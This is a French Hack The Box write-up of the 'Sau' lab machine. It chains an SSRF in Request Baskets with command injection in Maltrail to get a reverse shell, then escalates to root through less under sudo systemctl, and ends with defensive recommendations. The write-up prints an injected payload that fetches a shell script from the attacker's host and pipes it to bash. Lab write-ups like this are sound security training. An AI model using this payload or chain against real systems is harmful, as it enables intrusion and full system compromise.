Hack The Box – Résoudre la box Sau : outils, méthodes et recommandations pour se protéger

Dans cet article, je vous propose la résolution de la machine Hack The Box "Sau", de niveau de difficulté "Facile".

• Hack The Box - Sau

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs. 🙂

Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordées	Linux, web, Server-Side Request Forgery (SSRF), Remote Command Execution (RCE)
Outils utilisés	nmap, BurpSuite, sudo

Précédemment, nous avions vu comment résoudre la box Pilgrimage :

• Hack The Box - Résoudre la box Pilgrimage

II. Résolution de la box Sau

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.224          
PORT      STATE SERVICE VERSION       
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)         
55555/tcp open  unknown    
|   GetRequest: 
|     HTTP/1.0 302 Found   
|     Content-Type: text/html; charset=utf-8     
|     Location: /web       
|     Date: Mon, 21 Aug 2023 19:30:01 GMT        
|     Content-Length: 27   
|     href="/web">Found</a>.          

La surface d'attaque du serveur est composée d'un service d'administration SSH et d'un service en écoute sur le port TCP/55555.

Retrouvez notre cours complet sur Nmap sur lien suivant :

• IT-Connect - Maîtrisez Nmap pour la cartographie réseau et le scan de vulnérabilités

D'après les premières prises d'empreinte réalisées par nmap, il semble que celui-ci soit un service web exposant notamment un point d'entrée /web. L'accès à ce service web via navigateur nous permet très rapidement d'identifier l'application web utilisée, mais aussi sa version !

Visiblement cette application permet de créer des collections et d'inspecter des requêtes HTTP (à l'image des services en ligne tel que requestbin). Quelques recherches Google nous permettent de découvrir que cette version de Request Baskets est vulnérable à une attaque SSRF, ou Server-Side Request Forgery.

Ce type d'attaque nous permet, à travers la manipulation des paramètres ou en-têtes envoyés à l'application web, de forcer le serveur à émettre une requête vers un service de notre choix, et parfois de visualiser la réponse qu'il a obtenue. Qu'est-ce qu'un attaquant peut faire de cela ? Après tout, les serveurs comme tout système connecté, émettent des requêtes HTTP, DNS, et autres, et cela continuellement. Généralement, les impacts des SSRF peuvent être multiples :

• Forcer le serveur à se connecter sur l'un de nos services en ligne, ce qui nous permettra d'obtenir son IP (intéressant si le système est caché derrière un CDN), mais aussi des informations techniques comme le user-agent utilisé (et peut être une version de Python, curl ou autre) ;
• Aller requêter les services voisins du serveur qui nous ne sont pas directement joignables, comme son service de base de données, ou le réseau interne de l'entreprise ;
• Effectuer une énumération locale des services exposés, puisque c'est le serveur qui émet la requête, il a accès à des services locaux qui ne sont pas exposés sur l'extérieur ;
• Contourner une authentification sur l'application web elle-même, lorsqu'une requête provient de localhost, certains mécanismes d'authentification sautent ;
• etc.

Source de l'image : portswigger.net.

Nous voyons qu'en changeant la source d'une requête, nous pouvons utiliser notre serveur cible pour faire bien des choses. Cette liste n'est évidemment pas exhaustive, l'impact et l'exploitation dépendent également du contexte d'exploitation. Je vous oriente vers les ressources suivantes (très complètes) pour obtenir plus d'informations sur les SSRF :

• OWASP - Server-Side Request Forgery Prevention Cheat Sheet
• OWASP Testing Guide - Testing for Server-Side Request Forgery
• PortSwigger Web Security Academy - Server Side Request Forgery

B. Exploitation web : SSRF

Nous pouvons obtenir des détails techniques sur la vulnérabilité en regardant attentivement le PoC en ligne : Request-Baskets 1.2.1 Server-Side Request Forgery

En cybersécurité, le terme "PoC" fait référence à "Proof of Concept" (preuve de concept). Il s'agit d'une démonstration pratique visant à prouver qu'une vulnérabilité particulière peut être exploitée. La plupart du temps, les PoC sont des scripts d'exploitation simples ou la description d'une suite d'opérations à mener sur une cible donnée et permet de reproduire la vulnérabilité découverte.

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

Si l'on étudie ce PoC, nous voyons notamment que l'exploitation de la SSRF passe par l'injection dans le paramètre forward_url d'une URL cible (celle que l'on souhaite faire requêter par le serveur) lors de la création d'un bucket :

Plutôt que d'utiliser le script, je décide de générer moi-même une requête malveillante basée sur ces informations à l'aide de mon navigateur et d'un proxy local (BurpSuite).

Un proxy local est un serveur intermédiaire situé localement sur votre machine, il se positionne entre le client (navigateur) et le serveur web pour intercepter les échanges HTTP, les rejouer, les stocker ou les modifier. Il s'agit d'un outil indispensable aux tests d'intrusion web, mais peut aussi être utilisé pour du debug puisqu'il permet d'étudier précisément tous les échanges, de voir les paramètres, les en-têtes, etc.

Pour l’utiliser, il faut bien sûr installer et démarrer la solution (BurpSuite Community ou OWASP ZAP), puis configurer le proxy de son navigateur vers le port du proxy local (souvent 127.0.0.1:8080).

Le paramètre forward_url va tout simplement rediriger la requête provenant du client vers la page indiquée, le serveur agira alors comme un proxy. Voici à quoi ressemble la requête malveillante au sein de BurpSuite :

Ici, je cible le service http://127.0.0.1:80 après plusieurs tentatives infructueuses d'exploitation sur d'autres services externes ou internes. L'idée est de faire requêter par le serveur son service en écoute sur le port 80. Ce dernier n'est pas joignable depuis l'extérieur si l'on regarde le résultat de notre scan réseau, mais il semble tout de même en écoute locale. Je peux ensuite me rendre sur la collection créée :

Je génère ensuite une requête vers la collection, ce qui va activer l'exploitation de la SSRF et faire en sorte que le serveur requête son service interne sur le port TCP/80 :

Il y a bien un service web en écoute sur le port TCP/80, et même une application web dont nous obtenons directement la version. À nouveau, qui dit version dit recherche de vulnérabilités connues. Quelques recherches Google nous orientent rapidement vers une vulnérabilité de type RCE (Remote Command Execution) : Unauthenticated OS Command Injection in stamparm/maltrail in stamparm/maltrail.

C. Exploitation d'un service caché

Technique MITRE ATT&CK : T1059.004 - Command and Scripting Interpreter: Unix Shell

Le PoC est ici simple à comprendre, la vulnérabilité touche le point d'entrée /login, il faut donc commencer par mettre à jour notre payload SSRF pour que le serveur requête ce point d'entrée /login et non plus la racine du service web (/) :

Ensuite, l'injection a lieu dans le paramètre username, il faut utiliser un caractère de fin de commande bash ( ; ) puis insérer notre commande malveillante. Ici, je décide de faire télécharger un script Bash puis de l'exécuter, cela m'évite d'avoir à gérer des caractères spéciaux qui pourraient altérer la requête HTTP :

L'utilisation du "|bash" permet d'exécuter le script téléchargé, sans même qu'il ne soit déposé sur le système. Mon script Bash contient simplement une suite d'instructions me permettant d'avoir un shell distant sur le système cible : un reverse shell en tant que l'utilisateur exécutant le service web (puma).

Voilà l'impact d'une RCE (Remote Command Execution), ces vulnérabilités permettent d'avoir une exécution de commande système et donc de le compromettre. Nous sommes à présent libre de parcourir le système via un shell bash, en s'affranchissant totalement des contraintes de l'application web. Suite à l'obtention d'un shell distant sur le système, nous pouvons nous intéresser au code qui mène à cette vulnérabilité, et notamment au fichier mailtrail/core/http.py  qui contient le code relatif à la fonction de login :

Nous voyons effectivement que le paramètre username est inséré sans contrôle préalable dans la fonction subprocess.check_output. Cette dernière exécute une commande système et retourne son contenu. En insérant dans notre username un caractère de fin de commande (;), la commande :

logger -p auth.info -t XX XX password for XX from XX port XX.

devient :

logger -p auth.info -t XX XX password for id;`curl+http://10.10.16.10:8000/revshell.sh|bash` from XX port XX.

Ici, la commande logger -p auth.info -t XX XX password for id; va correctement s'exécuter, mais la deuxième peut paraître incohérente et entraînera une erreur. Cependant, le système va interpréter la substitution de commande (le curl et le bash entre "`" ) avant la commande finale, cette exécution avant une éventuelle erreur nous suffit largement pour obtenir notre reverse shell.

D. Élévation de privilèges : systemctl et son pager

Nous avons à présent un premier accès au système, tentons d'obtenir un accès avec un niveau de privilèges plus élevé. Parmi les premières actions de découverte de l'attaquant dans le cadre d'une élévation de privilèges, la récupération des dérogations d'exécution via sudo est assez classique :

Nous voyons qu'une dérogation d'exécution d'une commande en tant que root nous est accordée via cette configuration sudo, et ce sans saisie du mot de passe de l'utilisateur courant (instruction NOPASSWD) :

Les dérogations d'exécution de commande via sudo sont une zone à risque pour la sécurité des systèmes Linux. Leur but est d'autoriser un utilisateur ou un groupe d'utilisateur à exécuter une commande en tant qu'un autre utilisateur (root, mais pas seulement). Il s'agit donc d'une autorisation d'élévation de privilèges pour une commande précise. L'objectif pour l'attaquant sera de tenter d'abuser de cette autorisation pour exécuter d'autres binaires ou commandes que celles autorisées.

Une fois de plus, nous allons faire appel à une excellente ressource sur le sujet : https://gtfobins.github.io/. Ce site référence un grand nombre d'exploitations et d'abus de commande Linux (élévation de privilèges, téléchargement/export de fichier, etc) :

Il s'agit d'exploiter le pager utilisé par défaut lors de l'exécution de la commande systemctl. Certains pagers nous permettent effectivement d'exécuter des commandes système.

Un pager est un programme conçu pour afficher le contenu d'un fichier texte ou la sortie d'une commande en le présentant de manière paginée, c'est-à-dire une page à la fois. Cela permet de consulter les informations en évitant, lorsqu'il y a trop de lignes en sortie, que les premières lignes ne déroulent trop vite. Les pagers les plus connus sont less et more.

Une petite astuce qui peut cependant faire perdre du temps : lorsque le terminal est sh (cas de notre reverse shell), aucun pager ne semble utilisé. Si nous tentons d'exécuter la commande systemctl via sudo, nous verrons en effet que toute la sortie s'affiche d'une traite, ne marquant aucun temps de pause. Pour que l'exécution de commande puisse se faire, il faut passer au préalable sur un terminal bash, ce que je fais à l'aide de la commande suivante :

$ python3 -c "import pty; pty.spawn('/bin/bash');"
puma@sau:/opt/maltrail$

C'est ce genre de petit détail qui peut poser problème lors de l'exploitation d'une vulnérabilité. C'est pourquoi il est important de connaître le fonctionnement précis des systèmes attaqués, il ne suffit pas de copier/coller un bout de code trouvé sur Internet. Savoir que la commande systemctl peut provoquer une sortie trop longue, qu'elle fait donc appel à un pager, que le pager est lié à une variable d'environnement nommée $PAGER, que cette dernière est customisable et qu'elle possède des valeurs par défaut différentes entre les shell utilisés (sh, bash, zsh), que les pager peuvent contenir des fonctionnalités d'exécution de commande, etc. C'est l'expérience, la curiosité et la connaissance qui permettent de résoudre ces problématiques.

Bref, maintenant que nous utilisons un shell bash et que ce dernier a comme pager par défaut less, nous pouvons tenter d'exploiter l'utilisation de ce dernier :

Après l’affichage de la première page, less marque un temps de pause et nous devons appuyer sur une touche pour passer à la page suivante, c'est là que nous pouvons saisir !sh pour exécuter un terminal sh. Ici, la vulnérabilité vient bien de less, qui est appelé par systemctl. Cependant, comme systemctl est exécuté en tant que root (grâce à sudo), less l'est également. Effectuer une exécution de commande via less nous permet donc d'obtenir les droits root et de compromettre le système cible.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Réalisation d'un scan réseau via nmap
T1190 - Exploit Public-Facing Application	Exploitation de la CVE-2023-27163, une vulnérabilité SSRF affectant Request-Baskets v1.2.1
T1059.004 - Command and Scripting Interpreter: Unix Shell	Exploitation d'une vulnérabilité sur Maltrail 0.53 permettant d'obtenir un reverse shell et un accès bash en tant que l'utilisateur puma
T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching	Découverte et exploitation d'une dérogation de commande sudo faisant intervenir le pager less.

IV. Notions abordées

A. Côté attaquant

Un premier piège que je n'ai pas mentionné dans ce writeup est l'importance d'effectuer un scan complet des services potentiellement exposés sur un système ciblé. Il pouvait être facile de louper le port TCP/55555 si l'on se contentait d'utiliser les options par défaut de nmap, qui ne scanne que les 1024 ports les plus communs. En utilisant l'option -p-, on s'assure de scanner les 65535 ports TCP. Pour être plus complet et réaliste dans notre approche, un scan UDP aurait également dû être effectué.

Cette box nous a permis de voir que l'étude et la compréhension des PoC que l'on peut trouver sur Internet est importante. Parfois, ceux-ci sont à modifier en fonction du contexte d'exploitation et il ne suffit pas de les exécuter à l'aveugle. Dans un contexte réel, il est primordial de s'assurer que les codes d'exploitation utilisés ne vont pas causer de dégâts (interruption de service, suppression de données) avant de les utiliser.

Encore une fois, la détection des versions a été un élément important sur ce système. Il est à noter que l'outil searchsploit n'a pas été utile dans ce cas. Aucune base de données n'est complète et il est souvent nécessaire de les combiner pour avoir une recherche la plus exhaustive possible.

Enfin, étudier et comprendre en profondeur les éléments ciblés est très important. Nous avons vu que lors de l'exploitation de la commande systemctl via sudo, c'est en fait la commande less qui était vulnérable, il s'agit ici d'un cas simpliste, mais qui représente bien la précision avec laquelle il faut aborder l'aspect technique de la cybersécurité.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 :  La recommandation principale serait de mettre à jour les applications web. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : définir une politique de mise à jour des composants du système d’information.

Recommandation n°2 : Le fait qu'une seconde application web soit présente, mais pas directement exposée sur l'extérieur montre qu'il s'agit soit d'une application dédiée à un usage interne, soit d'une application web qui n'est pas encore en production. Dans les deux cas, il est recommandé d'appliquer une séparation stricte des usages. Une application web exposée sur l'extérieur possède une surface d'attaque importante et ne doit pas partager le même système qu'une application destinée uniquement à l'interne, qui de fait va traiter des informations qui ne sont pas publiques. La compromission de la première permettra d'impacter la sécurité de la seconde. C'est pourquoi il est recommandé de positionner la seconde application web sur un autre serveur, qui ne sera exposé qu'en interne et donc sur un autre réseau que la DMZ sur laquelle est censé se trouver le serveur compromis.

Recommandation n°3 : Également, il peut être recommandé d'améliorer le processus de mise en production des services et d'ajouter une phase d'audit avant mise en production. Cela est notamment vrai pour les applications qui sont issues d'un développement "maison" (ce qui n'est pas le cas ici), utilisant un code dont la sécurité n'a jamais été évaluée.

Recommandation n°4 : Il peut être recommandé de supprimer la dérogation sudo en place si celle-ci ne répond pas à un besoin métier. Sinon, il est recommandé d'interdire l'appel aux pagers, qui présentent des risques d'élévation de privilèges (supprimer les pagers du système potentiellement). Plus globalement, le guide de sécurisation des systèmes Linux de l'ANSSI propose plusieurs recommandations de durcissement en rapport avec l'utilisation de sudo : Recommandations de sécurité relatives à un système GNU/Linux.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy